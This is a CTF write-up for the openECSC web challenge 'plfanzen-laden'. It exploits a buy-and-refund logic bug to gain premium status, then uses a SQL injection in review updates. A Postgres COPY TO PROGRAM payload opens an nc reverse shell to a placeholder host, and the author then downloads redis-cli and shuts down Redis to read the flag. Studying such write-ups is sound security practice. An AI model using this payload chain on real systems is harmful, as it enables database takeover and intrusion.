# plfanzen-laden ## Source code The source is really huge so I just summarize that here : 1. Api server 2. Postgres server 3. Redis server 4. Front end server ## Analyze First of all because the big source, so i decided to find the **flag** first. ```js main.js // πŸƒπŸƒπŸƒ console.log("SETTING FLAG !!!!") await client.set("FLAG_" + uid(20), Deno.env.get("FLAG") ?? "openECSC{123}", { EX: 15, }); ``` Okay , so the flag is set into the redis server and just 15 seconds ??? How the f\*ck we can get it :v . So then I starting to scan some point using the client redis but it seems nothing interesting ? So how can we win this anymore .... ## Find more what we can do - So lets read the API it provides . Its a simple market server when we can put stuff into cart , buy stuff, refund and review. We can quickly see that to create a review , we need a **Premium role** , and to achieve that we must have up to 1e50 dollars !! ```js const premiumFee = 100000000000000000000000000000000000000000000000000n; router.post("/elevate", async (ctx) => { const user = ctx.state.user; if (!(user.balance > premiumFee)) { badRequest(ctx.response, { error: "poor" }); return; } const U = users(ctx.state.client); await U.decreaseBalance(user.id, Number(premiumFee)); await ctx.state.client .queryObject`UPDATE users SET premium = true WHERE id = ${user.id}`; ctx.response.body = { ok: true, message: "Profile elevated πŸ’ΈπŸ’ΈπŸ’Έ" }; }); ``` But do we realy using this role ? Yes !! After digging in the Review.update there's a **SQLI injection** !! ```js const update = async ( userId: number, productId: number, description: string, stars: number, ) => { const res = await client.queryObject<ReviewDB>(` UPDATE reviews SET description = ${description}, stars = ${stars} WHERE user_id = ${userId} AND product_id = ${productId} RETURNING *; `); if (!res.rows[0]) return undefined; return mapDbToReview(res.rows[0]); }; ``` *Its really hidden when first time read through and i must use gpt to scan that :v* The right code must be \`\` not (\`\`) :)) So try to find some logic bugs in the app to achieve the money !!! After that I see there's a revenge challenge, so I just check the source and find the bug is at : ```js async buyProduct( user: UserPublic, productId: number, quantity: number | string, ) { const U = users(this.client); const P = products(this.client); quantity = parseInt(quantity as string); // πŸ˜‡πŸ˜‡πŸ˜‡ const product = await P.findById(productId); if (!product) { return; } if (product.quantity < quantity) { return; } await U.decreaseBalance(user.id, product.price * quantity); await P.decreaseQuantity(product.id, quantity); const uP = userProducts(this.client); // SHOULD BE // await uP.add(user.id, product.id, quantity); await uP.add(user.id, product.id, product.quantity); } ``` - So its really easy for us to get super many money by just repeating "buy and refund" using the market server :v Here's the script for that : ```python import requests import threading url = 'http://localhost:3000' creds = { "username" : "hibby", "email" : "hix@gmail.com", "password" : "hibby", } s= requests.Session() # AUTH def register() : res = s.post(url+'/auth/signup',json=creds) def login() : res = s.post(url+'/auth/login',json=creds) print(res.text) # Cart def getCart() : res = s.get(url+'/cart') return res.text def clearCart() : res = s.post(url+'/cart/clear') return res.text def checkOut() : res = s.post(url+'/cart/checkout') return res.text def buy(id) : data= { "quantity":10 } res = s.post(url+'/cart/'+str(id),json=data) return res.text # Products def getProducts () : res = s.get(url+'/products') return res.text def getMine () : res = s.get(url+'/products/mine') return res.text def getProdById(id) : res = s.get(url+'/products/'+str(id)) return res.text def buyUseMkService(id,quantity) : data = { "quantity" : quantity } res = s.post(url+f'/products/{id}/buy',json=data) return res.text def buyAllUseMkService(id) : res = s.post(url+f'/products/{id}/buy-all') return res.text def getRefundAllById(id) : res = s.post(url+f'/products/{id}/refund-all') return res.text def getRefundById(id,quantity) : data = {"quantity" : quantity} res = s.post(url+f'/products/{id}/refund',json=data) return res.text # User def getMe() : res= s.get(url+'/users/me') return res.text def getRole() : res= s.post(url+'/users/elevate') return res.text def getBlance(): res = s.get(url+'/users/me') print(res.json()) return int(res.json().get("balance")) # Reviews def getReviewsId(uid) : res = s.get(url+'/reviews/product/'+str(uid)) return res.text def getMineReviews() : res = s.get(url+'/reviews/mine') return res.text # Main register() login() print(getMine()) balance = getBlance() premiumFee = 100000000000000000000000000000000000000000000000000 print(buyUseMkService(1,int(1))) def getPremium(): print(getProdById(1)) while 1: res = buyUseMkService(1,int(1)) print(res) print(getRefundAllById(1)) getBlance() ``` After a while we will achieve 1e50 now !! # Sqli to rce After we can have sqli here ,I dont see anything useful to leak so I decide to get reverse shell from the postgres server now ... ```sql COPY (SELECT '') to PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc HOST PORT >/tmp/f'; ``` ## Interact with redis server After having a reverse shell , I can easily interact with redis server because it's same network here !!! Now my method to connect to redis is ```bash wget https://github.com/phlummox-dev/redis-static-binaries/releases/download/6.2.5.0/redis-cli chmod u+x redis.cli ./redis-cli -h valkey -p 6379 ``` ![image](https://hackmd.io/_uploads/HJPoVxWTle.png) - Finally we can read the redis !!! # How to get the flag ? - Its seem impossible for us to read the flag in just 15s. After digging a little bit I finally find the gadget ```python3 # πŸ˜‡πŸ˜‡πŸ˜‡ HEALTHCHECK --interval=10s --start-period=10s --retries=3 \ CMD curl --max-time 15 -f http://localhost:3000 || pkill -9 deno ``` There's a hint here from author and i dont pay attention to that at first :v . So this health check will kill our app if it cannot curl the http://localhost:3000 in 15s . But luckily is the app having the **auto restart** defined in docker ```js api: restart: always build: ./api ``` So how can we trigger the curl error ? ```js router.get("/", async (ctx) => { ctx.response.body = (await client.get("greeting")) ?? "hello there :)"; }); ``` - It just simple read the text from redis and return . How can this get be slow up to 15s ? My first idea is to finding some point in the app can slow down but this code put first before anything at all ... so it seems impossible. ### But wait , we control the redis ? So we just need to simple shut down the redis !!! and that redis will be turned on back by the api server !!!! LOAD FLAG and we can read the flag now ! - So from the postgres reverse shell just do this : ```js ./redis-cli -h valkey -p 6379 shutdown ./redis-cli -h valkey -p 6379 Keys * GET FLAGGGGG ``` ![image](https://hackmd.io/_uploads/rJoyFlZplx.png) Yeah its unintended and the revenge is too hard for me . Sorry for the race :( ...